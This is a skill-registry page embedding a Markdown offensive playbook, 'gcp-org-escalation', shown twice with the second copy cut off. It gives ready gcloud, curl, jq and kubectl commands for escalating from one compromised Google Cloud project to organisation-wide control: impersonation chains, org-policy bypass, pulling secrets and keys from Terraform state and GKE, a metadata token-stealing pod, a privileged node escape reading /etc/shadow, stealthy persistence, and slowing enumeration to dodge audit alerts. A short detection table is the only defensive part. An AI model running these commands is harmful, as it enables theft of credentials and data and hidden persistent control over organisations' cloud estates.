[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EHXPWSMBXC7BCKM4YTHSGT":3,"skill-same:01M7EHXPWSMBXC7BCKM4YTHSGT":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":32,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7EHXPWSMBXC7BCKM4YTHSGT","gcp-org-escalation",null,"GCP organization-level privilege escalation — cross-project pivoting, org policy bypass, service account impersonation chains, Terraform state secrets, and GKE cluster compromise. Escalate from single-project access to org-wide control.","a18268941610-crypto\u002FDecepticon-shentou","a18268941610-crypto","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F241464571?v=4","01M7EHA2V2KTCYTX78QJKXCZ8Y","fubai","01M7EHA2VKDD5RCWJJKC0ZA101",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fgcp-org-escalation\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: gcp-org-escalation\ndescription: \"GCP organization-level privilege escalation — cross-project pivoting, org policy bypass, service account impersonation chains, Terraform state secrets, and GKE cluster compromise. Escalate from single-project access to org-wide control.\"\nmetadata:\n  subdomain: cloud\n  when_to_use: \"gcp google cloud organization escalation privilege cross-project pivot service account impersonation org policy bypass terraform state gke cluster iam enumeration gcloud resource manager bigquery cloud function\"\n  mitre_attack: \"T1078.004, T1580\"\n  tags: \"cloud gcp privilege-escalation org-level cross-project\"\n---\n\n# GCP Organization-Level Privilege Escalation\n\nEscalate from a single compromised GCP project to organization-wide access. GCP's hierarchical IAM (Org → Folder → Project → Resource) means permissions inherited from above are invisible at the project level. Cross-project service account impersonation, org policy constraint bypass, and Terraform state pillaging unlock lateral movement across the entire cloud estate.\n\n## Quick Reference\n\n```bash\n# Current identity and project\ngcloud auth list\ngcloud config get-value project\ngcloud organizations list\n\n# Enumerate org-level IAM\ngcloud organizations get-iam-policy \u003CORG_ID> --format=json\n\n# List all projects in org\ngcloud projects list --filter=\"parent.id=\u003CORG_ID>\" --format=\"table(projectId,name,lifecycleState)\"\n\n# Test cross-project service account impersonation\ngcloud auth print-access-token --impersonate-service-account=\u003CSA_EMAIL>\n\n# List org policy constraints\ngcloud org-policies list --organization=\u003CORG_ID>\n\n# Find Terraform state buckets\ngsutil ls -p \u003CPROJECT_ID> | xargs -I{} gsutil ls {} | grep -i terraform\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Application |\n|---|---|---|\n| Valid Accounts: Cloud Accounts | T1078.004 | Abuse compromised SA or user for cross-project access |\n| Cloud Infrastructure Discovery | T1580 | Enumerate projects, SAs, IAM bindings, resources across org |\n| Account Manipulation: Additional Cloud Roles | T1098.001 | Add IAM bindings for persistence |\n| Steal Application Access Token | T1528 | Extract SA keys, OAuth tokens, metadata tokens |\n| Cloud Storage Object Discovery | T1619 | Discover Terraform state, config buckets |\n\n## 1. IAM Enumeration at Organization Level\n\n```bash\n# List organization\nORG_ID=$(gcloud organizations list --format=\"value(ID)\" | head -1)\necho \"Org ID: $ORG_ID\"\n\n# Org-level IAM policy (who has org-wide access)\ngcloud organizations get-iam-policy \"$ORG_ID\" --format=json > org_iam.json\ncat org_iam.json | jq '.bindings[] | select(.role | test(\"admin|owner|editor|security\")) | {role, members}'\n\n# List all folders\ngcloud resource-manager folders list --organization=\"$ORG_ID\" --format=\"table(name,displayName)\" > folders.txt\n\n# Enumerate folder-level IAM\nwhile read folder_id; do\n  echo \"=== $folder_id ===\"\n  gcloud resource-manager folders get-iam-policy \"$folder_id\" --format=json 2>\u002Fdev\u002Fnull\ndone \u003C \u003C(gcloud resource-manager folders list --organization=\"$ORG_ID\" --format=\"value(name)\")\n\n# List ALL projects in org\ngcloud projects list --filter=\"parent.id=$ORG_ID\" --format=json > all_projects.json\n\n# Per-project IAM enumeration (find over-permissioned SAs)\nfor proj in $(jq -r '.[].projectId' all_projects.json); do\n  echo \"=== $proj ===\"\n  gcloud projects get-iam-policy \"$proj\" --format=json 2>\u002Fdev\u002Fnull | \\\n    jq '.bindings[] | select(.members[] | test(\"serviceAccount\")) | {role, members}'\ndone\n\n# List all service accounts across projects\nfor proj in $(jq -r '.[].projectId' all_projects.json); do\n  gcloud iam service-accounts list --project=\"$proj\" --format=\"table(email,displayName)\" 2>\u002Fdev\u002Fnull\ndone\n\n# Test current permissions\ngcloud projects get-iam-policy \u003CPROJECT_ID> --flatten=\"bindings[].members\" \\\n  --filter=\"bindings.members:$(gcloud auth list --filter=status:ACTIVE --format='value(account)')\" \\\n  --format=\"table(bindings.role)\"\n```\n\n## 2. Cross-Project Service Account Impersonation\n\n```bash\n# Service account impersonation chain:\n# SA-A (compromised) → impersonate SA-B (target project) → access target resources\n\n# Check if current SA can impersonate other SAs\ngcloud iam service-accounts list --project=\u003CTARGET_PROJECT> --format=\"value(email)\" | while read sa; do\n  echo \"Testing: $sa\"\n  gcloud auth print-access-token --impersonate-service-account=\"$sa\" 2>\u002Fdev\u002Fnull && echo \"[+] CAN IMPERSONATE: $sa\"\ndone\n\n# Check who can impersonate a specific SA\ngcloud iam service-accounts get-iam-policy \u003CTARGET_SA_EMAIL> --format=json | \\\n  jq '.bindings[] | select(.role | test(\"iam.serviceAccountTokenCreator|iam.serviceAccountUser\"))'\n\n# Multi-hop impersonation (SA chaining)\n# SA-A → impersonate SA-B → impersonate SA-C\ngcloud auth print-access-token \\\n  --impersonate-service-account=\u003CSA_B_EMAIL> \\\n  --include-email 2>\u002Fdev\u002Fnull\n\n# Then use SA-B's token to impersonate SA-C via API\nTOKEN_B=$(gcloud auth print-access-token --impersonate-service-account=\u003CSA_B_EMAIL>)\ncurl -s -X POST \"https:\u002F\u002Fiamcredentials.googleapis.com\u002Fv1\u002Fprojects\u002F-\u002FserviceAccounts\u002F\u003CSA_C_EMAIL>:generateAccessToken\" \\\n  -H \"Authorization: Bearer $TOKEN_B\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"scope\":[\"https:\u002F\u002Fwww.googleapis.com\u002Fauth\u002Fcloud-platform\"],\"lifetime\":\"3600s\"}'\n\n# Default compute SA often has Editor role on project — look for it\ngcloud compute instances list --project=\u003CPROJECT_ID> --format=\"table(name,serviceAccounts.email)\" 2>\u002Fdev\u002Fnull\n\n# Workload Identity Federation — check for external identity trust\ngcloud iam workload-identity-pools list --location=global --project=\u003CPROJECT_ID> 2>\u002Fdev\u002Fnull\n```\n\n## 3. Org Policy Constraint Bypass\n\n```bash\n# List active org policy constraints\ngcloud org-policies list --organization=\"$ORG_ID\" --format=\"table(constraint,listPolicy,booleanPolicy)\"\n\n# Common constraints to target:\n# constraints\u002Fiam.allowedPolicyMemberDomains — restricts who gets IAM\n# constraints\u002Fcompute.vmExternalIpAccess — blocks external IPs\n# constraints\u002Fiam.disableServiceAccountKeyCreation — blocks SA key export\n# constraints\u002Fcompute.requireShieldedVm — forces shielded VMs\n# constraints\u002Fstorage.uniformBucketLevelAccess — forces uniform bucket ACLs\n\n# Check specific constraint\ngcloud org-policies describe constraints\u002Fiam.disableServiceAccountKeyCreation \\\n  --organization=\"$ORG_ID\" --format=json\n\n# Bypass: constraints\u002Fiam.disableServiceAccountKeyCreation\n# Cannot create key via CLI, but can still:\n# 1. Use impersonation (no key needed)\ngcloud auth print-access-token --impersonate-service-account=\u003CSA_EMAIL>\n\n# 2. Generate short-lived tokens via API\ncurl -s -X POST \"https:\u002F\u002Fiamcredentials.googleapis.com\u002Fv1\u002Fprojects\u002F-\u002FserviceAccounts\u002F\u003CSA_EMAIL>:generateAccessToken\" \\\n  -H \"Authorization: Bearer $(gcloud auth print-access-token)\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"scope\":[\"https:\u002F\u002Fwww.googleapis.com\u002Fauth\u002Fcloud-platform\"],\"lifetime\":\"43200s\"}'\n\n# 3. Sign JWTs for federated auth\ncurl -s -X POST \"https:\u002F\u002Fiamcredentials.googleapis.com\u002Fv1\u002Fprojects\u002F-\u002FserviceAccounts\u002F\u003CSA_EMAIL>:signJwt\" \\\n  -H \"Authorization: Bearer $(gcloud auth print-access-token)\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"payload\":\"{\\\"iss\\\":\\\"\u003CSA_EMAIL>\\\",\\\"sub\\\":\\\"\u003CSA_EMAIL>\\\",\\\"aud\\\":\\\"https:\u002F\u002Foauth2.googleapis.com\u002Ftoken\\\",\\\"iat\\\":'\"$(date +%s)\"',\\\"exp\\\":'\"$(($(date +%s)+3600))\"'}\"}'\n\n# Bypass: constraints\u002Fcompute.vmExternalIpAccess\n# Use Cloud NAT or IAP tunnel instead of external IP\ngcloud compute ssh \u003CINSTANCE> --tunnel-through-iap --project=\u003CPROJECT_ID>\n\n# Bypass: constraints\u002Fiam.allowedPolicyMemberDomains\n# If constraint allows only @target.com, compromise a target.com identity\n# Or use a service account (SAs are exempt from domain restrictions in some configs)\n```\n\n## 4. Terraform State Access\n\n```bash\n# Terraform state files contain secrets, credentials, and full resource details\n\n# Find Terraform state in GCS buckets\nfor proj in $(jq -r '.[].projectId' all_projects.json); do\n  gsutil ls -p \"$proj\" 2>\u002Fdev\u002Fnull | while read bucket; do\n    gsutil ls -r \"$bucket\" 2>\u002Fdev\u002Fnull | grep -iE 'terraform|\\.tfstate'\n  done\ndone\n\n# Download Terraform state\ngsutil cp gs:\u002F\u002F\u003CBUCKET>\u002Fterraform.tfstate \u002Ftmp\u002Ftfstate.json\n\n# Extract secrets from state\ncat \u002Ftmp\u002Ftfstate.json | jq -r '.. | .attributes? \u002F\u002F empty | to_entries[] | select(.key | test(\"password|secret|key|token|private\")) | \"\\(.key): \\(.value)\"' 2>\u002Fdev\u002Fnull\n\n# Extract service account keys from state\ncat \u002Ftmp\u002Ftfstate.json | jq -r '.. | select(.type? == \"google_service_account_key\") | .instances[].attributes.private_key' 2>\u002Fdev\u002Fnull | base64 -d > \u002Ftmp\u002Fsa_key.json\n\n# Extract database credentials\ncat \u002Ftmp\u002Ftfstate.json | jq '.. | select(.type? == \"google_sql_user\") | .instances[].attributes | {name, password}' 2>\u002Fdev\u002Fnull\n\n# Find Terraform Cloud\u002FEnterprise state (if using remote backend)\n# Check .terraform\u002Fterraform.tfstate for backend config\nfind \u002F -name \"*.tfstate\" -o -name \"backend.tf\" -o -name \".terraform\" 2>\u002Fdev\u002Fnull\n\n# Check if Terraform state bucket has versioning (access old secrets)\ngsutil versioning get gs:\u002F\u002F\u003CBUCKET>\ngsutil ls -a gs:\u002F\u002F\u003CBUCKET>\u002Fterraform.tfstate  # list all versions\ngsutil cp gs:\u002F\u002F\u003CBUCKET>\u002Fterraform.tfstate#\u003CGENERATION_ID> \u002Ftmp\u002Fold_tfstate.json\n```\n\n## 5. GKE Cluster Pivoting\n\n```bash\n# Enumerate GKE clusters across projects\nfor proj in $(jq -r '.[].projectId' all_projects.json); do\n  echo \"=== $proj ===\"\n  gcloud container clusters list --project=\"$proj\" --format=\"table(name,location,currentMasterVersion,currentNodeVersion)\" 2>\u002Fdev\u002Fnull\ndone\n\n# Get cluster credentials\ngcloud container clusters get-credentials \u003CCLUSTER_NAME> --zone=\u003CZONE> --project=\u003CPROJECT_ID>\n\n# Enumerate cluster\nkubectl auth can-i --list\nkubectl get namespaces\nkubectl get pods --all-namespaces\nkubectl get secrets --all-namespaces\n\n# Extract secrets\nkubectl get secrets --all-namespaces -o json | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, data: (.data | to_entries[] | {key: .key, value: (.value | @base64d)})}'\n\n# Access cloud metadata from pod (node SA token)\nkubectl run probe --image=alpine --restart=Never --command -- sh -c \\\n  \"apk add curl jq && curl -s -H 'Metadata-Flavor: Google' 'http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken' | jq .\"\n\n# Workload Identity — check pod SA mappings\nkubectl get serviceaccounts --all-namespaces -o json | \\\n  jq '.items[] | select(.metadata.annotations[\"iam.gke.io\u002Fgcp-service-account\"] != null) | {namespace: .metadata.namespace, k8sSA: .metadata.name, gcpSA: .metadata.annotations[\"iam.gke.io\u002Fgcp-service-account\"]}'\n\n# Escape to node (if privileged pod or hostPath mount)\nkubectl run escape --image=alpine --restart=Never --overrides='{\n  \"spec\":{\"hostPID\":true,\"hostNetwork\":true,\"containers\":[{\n    \"name\":\"escape\",\"image\":\"alpine\",\"command\":[\"nsenter\",\"--target\",\"1\",\"--mount\",\"--uts\",\"--ipc\",\"--net\",\"--pid\",\"--\",\"bash\",\"-c\",\"id; cat \u002Fetc\u002Fshadow | head -3\"],\n    \"securityContext\":{\"privileged\":true}\n  }]}\n}'\n\n# GKE node SA typically has compute\u002Fstorage access — pivot from there\n```\n\n## 6. Cross-Service Pivoting\n\n```bash\n# BigQuery — access datasets across projects\nfor proj in $(jq -r '.[].projectId' all_projects.json); do\n  bq ls --project_id=\"$proj\" 2>\u002Fdev\u002Fnull | grep -v \"datasetId\"\ndone\n\n# Query cross-project BigQuery (if IAM allows)\nbq query --use_legacy_sql=false \"SELECT * FROM \\`\u003CTARGET_PROJECT>.\u003CDATASET>.\u003CTABLE>\\` LIMIT 100\"\n\n# Cloud Functions — list and read source code\nfor proj in $(jq -r '.[].projectId' all_projects.json); do\n  gcloud functions list --project=\"$proj\" --format=\"table(name,runtime,status)\" 2>\u002Fdev\u002Fnull\ndone\n\n# Download function source\ngcloud functions describe \u003CFUNCTION_NAME> --project=\u003CPROJECT_ID> --format=\"value(sourceArchiveUrl)\"\ngsutil cp \u003CSOURCE_URL> \u002Ftmp\u002Ffunction_source.zip\n\n# Secret Manager — list and access secrets\nfor proj in $(jq -r '.[].projectId' all_projects.json); do\n  echo \"=== $proj ===\"\n  gcloud secrets list --project=\"$proj\" --format=\"table(name,createTime)\" 2>\u002Fdev\u002Fnull\ndone\n\n# Read secret value\ngcloud secrets versions access latest --secret=\u003CSECRET_NAME> --project=\u003CPROJECT_ID>\n\n# Cloud SQL — find databases\nfor proj in $(jq -r '.[].projectId' all_projects.json); do\n  gcloud sql instances list --project=\"$proj\" --format=\"table(name,databaseVersion,ipAddresses)\" 2>\u002Fdev\u002Fnull\ndone\n\n# Pub\u002FSub — read messages from subscriptions\ngcloud pubsub subscriptions list --project=\u003CPROJECT_ID>\ngcloud pubsub subscriptions pull \u003CSUBSCRIPTION_NAME> --project=\u003CPROJECT_ID> --limit=10 --auto-ack\n```\n\n## 7. Persistence at Org Level\n\n```bash\n# Create SA key for persistent access (if key creation allowed)\ngcloud iam service-accounts keys create \u002Ftmp\u002Fpersist_key.json \\\n  --iam-account=\u003CSA_EMAIL> --project=\u003CPROJECT_ID>\n\n# Add IAM binding at org level (if org admin)\ngcloud organizations add-iam-policy-binding \"$ORG_ID\" \\\n  --member=\"serviceAccount:\u003CSA_EMAIL>\" \\\n  --role=\"roles\u002Fviewer\"\n\n# Create custom role with minimal permissions (less visible than predefined roles)\ngcloud iam roles create customAuditor --organization=\"$ORG_ID\" \\\n  --title=\"Custom Auditor\" \\\n  --permissions=\"resourcemanager.projects.list,iam.serviceAccounts.list,storage.buckets.list\"\n\n# Workload Identity Federation — trust external IdP for persistent access\ngcloud iam workload-identity-pools create \"audit-pool\" \\\n  --location=\"global\" --project=\u003CPROJECT_ID>\n\n# Add SA to group that has org-level permissions\ngcloud identity groups memberships add \\\n  --group-email=\"\u003CPRIVILEGED_GROUP>@\u003CDOMAIN>\" \\\n  --member-email=\"\u003CSA_EMAIL>\"\n```\n\n## Tools & Resources\n\n| Tool | Purpose |\n|---|---|\n| gcloud CLI | Core GCP enumeration and exploitation |\n| ScoutSuite | Multi-cloud security auditing (GCP module) |\n| Cartography | GCP asset inventory and relationship mapping |\n| GCPBucketBrute | GCS bucket discovery and enumeration |\n| Hayat | GCP privilege escalation path finder |\n| kubectl | GKE cluster exploitation |\n| Terraform | State file analysis for secrets |\n| Rhino Security gcpwn | GCP exploitation framework |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|---|---|\n| Org IAM policy enumeration | Cloud Audit Logs: `GetIamPolicy` on organization resource |\n| Cross-project SA impersonation | IAM audit: `GenerateAccessToken` calls across project boundaries |\n| Terraform state bucket access | GCS access logs: `storage.objects.get` on tfstate files |\n| GKE secret enumeration | K8s audit: `list secrets` across namespaces |\n| SA key creation | IAM audit: `CreateServiceAccountKey` events |\n| Org-level IAM binding changes | Cloud Audit: `SetIamPolicy` on organization |\n| Custom role creation at org level | IAM audit: `CreateRole` on organization resource |\n| Bulk project listing | Resource Manager audit: `ListProjects` with org filter |\n\n## Error Handling & Edge Cases\n\n- **Org-level permissions denied**: Start with project-level SA, enumerate impersonation chains to find a path upward\n- **VPC Service Controls**: Resources behind a perimeter reject calls from outside; must compromise an identity inside the perimeter or find a bridge project\n- **Org policy blocks SA key creation**: Use `generateAccessToken` API for short-lived tokens instead; impersonation doesn't require keys\n- **No gcloud CLI available**: Use raw REST API with `curl` and bearer tokens from metadata service\n- **Audit log alerting**: Reduce enumeration speed; target specific known-valuable projects instead of scanning all\n- **Workload Identity in use**: SA keys may not exist; must compromise the workload (pod\u002FVM) that is mapped to the target SA\n\n## Decision Gate\n\n```\nIF single-project SA compromised:\n  → Enumerate org structure (folders, projects)\n  → Test impersonation against SAs in other projects\n  → Search for Terraform state buckets (secrets goldmine)\n  → Check GKE clusters for cross-project SA mappings\n\nIF org-level read access obtained:\n  → Dump all project IAM policies\n  → Identify over-permissioned SAs (Editor\u002FOwner on multiple projects)\n  → Access Secret Manager across projects\n  → Query BigQuery datasets for sensitive data\n\nIF GKE cluster access:\n  → Extract pod secrets and environment variables\n  → Check Workload Identity mappings for GCP SA impersonation\n  → Attempt node escape for compute SA token\n  → Pivot to other clusters via shared SA\n\nIF org admin achieved:\n  → Create persistent org-level IAM binding\n  → Deploy custom role for stealthy long-term access\n  → Configure Workload Identity Federation for external trust\n  → Access all Terraform state, secrets, and databases org-wide\n```\n","# GCP Organization-Level Privilege Escalation\n\nEscalate from a single compromised GCP project to organization-wide access. GCP's hierarchical IAM (Org → Folder → Project → Resource) means permissions inherited from above are invisible at the project level. Cross-project service account impersonation, org policy constraint bypass, and Terraform state pillaging unlock lateral movement across the entire cloud estate.\n\n## Quick Reference\n\n```bash\n# Current identity and project\ngcloud auth list\ngcloud config get-value project\ngcloud organizations list\n\n# Enumerate org-level IAM\ngcloud organizations get-iam-policy \u003CORG_ID> --format=json\n\n# List all projects in org\ngcloud projects list --filter=\"parent.id=\u003CORG_ID>\" --format=\"table(projectId,name,lifecycleState)\"\n\n# Test cross-project service account impersonation\ngcloud auth print-access-token --impersonate-service-account=\u003CSA_EMAIL>\n\n# List org policy constraints\ngcloud org-policies list --organization=\u003CORG_ID>\n\n# Find Terraform state buckets\ngsutil ls -p \u003CPROJECT_ID> | xargs -I{} gsutil ls {} | grep -i terraform\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Application |\n|---|---|---|\n| Valid Accounts: Cloud Accounts | T1078.004 | Abuse compromised SA or user for cross-project access |\n| Cloud Infrastructure Discovery | T1580 | Enumerate projects, SAs, IAM bindings, resources across org |\n| Account Manipulation: Additional Cloud Roles | T1098.001 | Add IAM bindings for persistence |\n| Steal Application Access Token | T1528 | Extract SA keys, OAuth tokens, metadata tokens |\n| Cloud Storage Object Discovery | T1619 | Discover Terraform state, config buckets |\n\n## 1. IAM Enumeration at Organization Level\n\n```bash\n# List organization\nORG_ID=$(gcloud organizations list --format=\"value(ID)\" | head -1)\necho \"Org ID: $ORG_ID\"\n\n# Org-level IAM policy (who has org-wide access)\ngcloud organizations get-iam-policy \"$ORG_ID\" --format=json > org_iam.json\ncat org_iam.json | jq '.bindings[] | select(.role | test(\"admin|owner|editor|security\")) | {role, members}'\n\n# List all folders\ngcloud resource-manager folders list --organization=\"$ORG_ID\" --format=\"table(name,displayName)\" > folders.txt\n\n# Enumerate folder-level IAM\nwhile read folder_id; do\n  echo \"=== $folder_id ===\"\n  gcloud resource-manager folders get-iam-policy \"$folder_id\" --format=json 2>\u002Fdev\u002Fnull\ndone \u003C \u003C(gcloud resource-manager folders list --organization=\"$ORG_ID\" --format=\"value(name)\")\n\n# List ALL projects in org\ngcloud projects list --filter=\"parent.id=$ORG_ID\" --format=json > all_projects.json\n\n# Per-project IAM enumeration (find over-permissioned SAs)\nfor proj in $(jq -r '.[].projectId' all_projects.json); do\n  echo \"=== $proj ===\"\n  gcloud projects get-iam-policy \"$proj\" --format=json 2>\u002Fdev\u002Fnull | \\\n    jq '.bindings[] | select(.members[] | test(\"serviceAccount\")) | {role, members}'\ndone\n\n# List all service accounts across projects\nfor proj in $(jq -r '.[].projectId' all_projects.json); do\n  gcloud iam service-accounts list --project=\"$proj\" --format=\"table(email,displayName)\" 2>\u002Fdev\u002Fnull\ndone\n\n# Test current permissions\ngcloud projects get-iam-policy \u003CPROJECT_ID> --flatten=\"bindings[].members\" \\\n  --filter=\"bindings.members:$(gcloud auth list --filter=status:ACTIVE --format='value(account)')\" \\\n  --format=\"table(bindings.role)\"\n```\n\n## 2. Cross-Project Service Account Impersonation\n\n```bash\n# Service account impersonation chain:\n# SA-A (compromised) → impersonate SA-B (target project) → access target resources\n\n# Check if current SA can impersonate other SAs\ngcloud iam service-accounts list --project=\u003CTARGET_PROJECT> --format=\"value(email)\" | while read sa; do\n  echo \"Testing: $sa\"\n  gcloud auth print-access-token --impersonate-service-account=\"$sa\" 2>\u002Fdev\u002Fnull && echo \"[+] CAN IMPERSONATE: $sa\"\ndone\n\n# Check who can impersonate a specific SA\ngcloud iam service-accounts get-iam-policy \u003CTARGET_SA_EMAIL> --format=json | \\\n  jq '.bindings[] | select(.role | test(\"iam.serviceAccountTokenCreator|iam.serviceAccountUser\"))'\n\n# Multi-hop impersonation (SA chaining)\n# SA-A → impersonate SA-B → impersonate SA-C\ngcloud auth print-access-token \\\n  --impersonate-service-account=\u003CSA_B_EMAIL> \\\n  --include-email 2>\u002Fdev\u002Fnull\n\n# Then use SA-B's token to impersonate SA-C via API\nTOKEN_B=$(gcloud auth print-access-token --impersonate-service-account=\u003CSA_B_EMAIL>)\ncurl -s -X POST \"https:\u002F\u002Fiamcredentials.googleapis.com\u002Fv1\u002Fprojects\u002F-\u002FserviceAccounts\u002F\u003CSA_C_EMAIL>:generateAccessToken\" \\\n  -H \"Authorization: Bearer $TOKEN_B\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"scope\":[\"https:\u002F\u002Fwww.googleapis.com\u002Fauth\u002Fcloud-platform\"],\"lifetime\":\"3600s\"}'\n\n# Default compute SA often has Editor role on project — look for it\ngcloud compute instances list --project=\u003CPROJECT_ID> --format=\"table(name,serviceAccounts.email)\" 2>\u002Fdev\u002Fnull\n\n# Workload Identity Federation — check for external identity trust\ngcloud iam workload-identity-pools list --location=global --project=\u003CPROJECT_ID> 2>\u002Fdev\u002Fnull\n```\n\n## 3. Org Policy Constraint Bypass\n\n```bash\n# List active org policy constraints\ngcloud org-policies list --organization=\"$ORG_ID\" --format=\"table(constraint,listPolicy,booleanPolicy)\"\n\n# Common constraints to target:\n# constraints\u002Fiam.allowedPolicyMemberDomains — restricts who gets IAM\n# constraints\u002Fcompute.vmExternalIpAccess — blocks external IPs\n# constraints\u002Fiam.disableServiceAccountKeyCreation — blocks SA key export\n# constraints\u002Fcompute.requireShieldedVm — forces shielded VMs\n# constraints\u002Fstorage.uniformBucketLevelAccess — forces uniform bucket ACLs\n\n# Check specific constraint\ngcloud org-policies describe constraints\u002Fiam.disableServiceAccountKeyCreation \\\n  --organization=\"$ORG_ID\" --format=json\n\n# Bypass: constraints\u002Fiam.disableServiceAccountKeyCreation\n# Cannot create key via CLI, but can still:\n# 1. Use impersonation (no key needed)\ngcloud auth print-access-token --impersonate-service-account=\u003CSA_EMAIL>\n\n# 2. Generate short-lived tokens via API\ncurl -s -X POST \"https:\u002F\u002Fiamcredentials.googleapis.com\u002Fv1\u002Fprojects\u002F-\u002FserviceAccounts\u002F\u003CSA_EMAIL>:generateAccessToken\" \\\n  -H \"Authorization: Bearer $(gcloud auth print-access-token)\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"scope\":[\"https:\u002F\u002Fwww.googleapis.com\u002Fauth\u002Fcloud-platform\"],\"lifetime\":\"43200s\"}'\n\n# 3. Sign JWTs for federated auth\ncurl -s -X POST \"https:\u002F\u002Fiamcredentials.googleapis.com\u002Fv1\u002Fprojects\u002F-\u002FserviceAccounts\u002F\u003CSA_EMAIL>:signJwt\" \\\n  -H \"Authorization: Bearer $(gcloud auth print-access-token)\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"payload\":\"{\\\"iss\\\":\\\"\u003CSA_EMAIL>\\\",\\\"sub\\\":\\\"\u003CSA_EMAIL>\\\",\\\"aud\\\":\\\"https:\u002F\u002Foauth2.googleapis.com\u002Ftoken\\\",\\\"iat\\\":'\"$(date +%s)\"',\\\"exp\\\":'\"$(($(date +%s)+3600))\"'}\"}'\n\n# Bypass: constraints\u002Fcompute.vmExternalIpAccess\n# Use Cloud NAT or IAP tunnel instead of external IP\ngcloud compute ssh \u003CINSTANCE> --tunnel-through-iap --project=\u003CPROJECT_ID>\n\n# Bypass: constraints\u002Fiam.allowedPolicyMemberDomains\n# If constraint allows only @target.com, compromise a target.com identity\n# Or use a service account (SAs are exempt from domain restrictions in some configs)\n```\n\n## 4. Terraform State Access\n\n```bash\n# Terraform state files contain secrets, credentials, and full resource details\n\n# Find Terraform state in GCS buckets\nfor proj in $(jq -r '.[].projectId' all_projects.json); do\n  gsutil ls -p \"$proj\" 2>\u002Fdev\u002Fnull | while read bucket; do\n    gsutil ls -r \"$bucket\" 2>\u002Fdev\u002Fnull | grep -iE 'terraform|\\.tfstate'\n  done\ndone\n\n# Download Terraform state\ngsutil cp gs:\u002F\u002F\u003CBUCKET>\u002Fterraform.tfstate \u002Ftmp\u002Ftfstate.json\n\n# Extract secrets from state\ncat \u002Ftmp\u002Ftfstate.json | jq -r '.. | .attributes? \u002F\u002F empty | to_entries[] | select(.key | test(\"password|secret|key|token|private\")) | \"\\(.key): \\(.value)\"' 2>\u002Fdev\u002Fnull\n\n# Extract service account keys from state\ncat \u002Ftmp\u002Ftfstate.json | jq -r '.. | select(.type? == \"google_service_account_key\") | .instances[].attributes.private_key' 2>\u002Fdev\u002Fnull | base64 -d > \u002Ftmp\u002Fsa_key.json\n\n# Extract database credentials\ncat \u002Ftmp\u002Ftfstate.json | jq '.. | select(.type? == \"google_sql_user\") | .instances[].attributes | {name, password}' 2>\u002Fdev\u002Fnull\n\n# Find Terraform Cloud\u002FEnterprise state (if using remote backend)\n# Check .terraform\u002Fterraform.tfstate for backend config\nfind \u002F -name \"*.tfstate\" -o -name \"backend.tf\" -o -name \".terraform\" 2>\u002Fdev\u002Fnull\n\n# Check if Terraform state bucket has versioning (access old secrets)\ngsutil versioning get gs:\u002F\u002F\u003CBUCKET>\ngsutil ls -a gs:\u002F\u002F\u003CBUCKET>\u002Fterraform.tfstate  # list all versions\ngsutil cp gs:\u002F\u002F\u003CBUCKET>\u002Fterraform.tfstate#\u003CGENERATION_ID> \u002Ftmp\u002Fold_tfstate.json\n```\n\n## 5. GKE Cluster Pivoting\n\n```bash\n# Enumerate GKE clusters across projects\nfor proj in $(jq -r '.[].projectId' all_projects.json); do\n  echo \"=== $proj ===\"\n  gcloud container clusters list --project=\"$proj\" --format=\"table(name,location,currentMasterVersion,currentNodeVersion)\" 2>\u002Fdev\u002Fnull\ndone\n\n# Get cluster credentials\ngcloud container clusters get-credentials \u003CCLUSTER_NAME> --zone=\u003CZONE> --project=\u003CPROJECT_ID>\n\n# Enumerate cluster\nkubectl auth can-i --list\nkubectl get namespaces\nkubectl get pods --all-namespaces\nkubectl get secrets --all-namespaces\n\n# Extract secrets\nkubectl get secrets --all-namespaces -o json | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, data: (.data | to_entries[] | {key: .key, value: (.value | @base64d)})}'\n\n# Access cloud metadata from pod (node SA token)\nkubectl run probe --image=alpine --restart=Never --command -- sh -c \\\n  \"apk add curl jq && curl -s -H 'Metadata-Flavor: Google' 'http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken' | jq .\"\n\n# Workload Identity — check pod SA mappings\nkubectl get serviceaccounts --all-namespaces -o json | \\\n  jq '.items[] | select(.metadata.annotations[\"iam.gke.io\u002Fgcp-service-account\"] != null) | {namespace: .metadata.namespace, k8sSA: .metadata.name, gcpSA: .metadata.annotations[\"iam.gke.io\u002Fgcp-service-account\"]}'\n\n# Escape to node (if privileged pod or hostPath mount)\nkubectl run escape --image=alpine --restart=Never --overrides='{\n  \"spec\":{\"hostPID\":true,\"hostNetwork\":true,\"containers\":[{\n    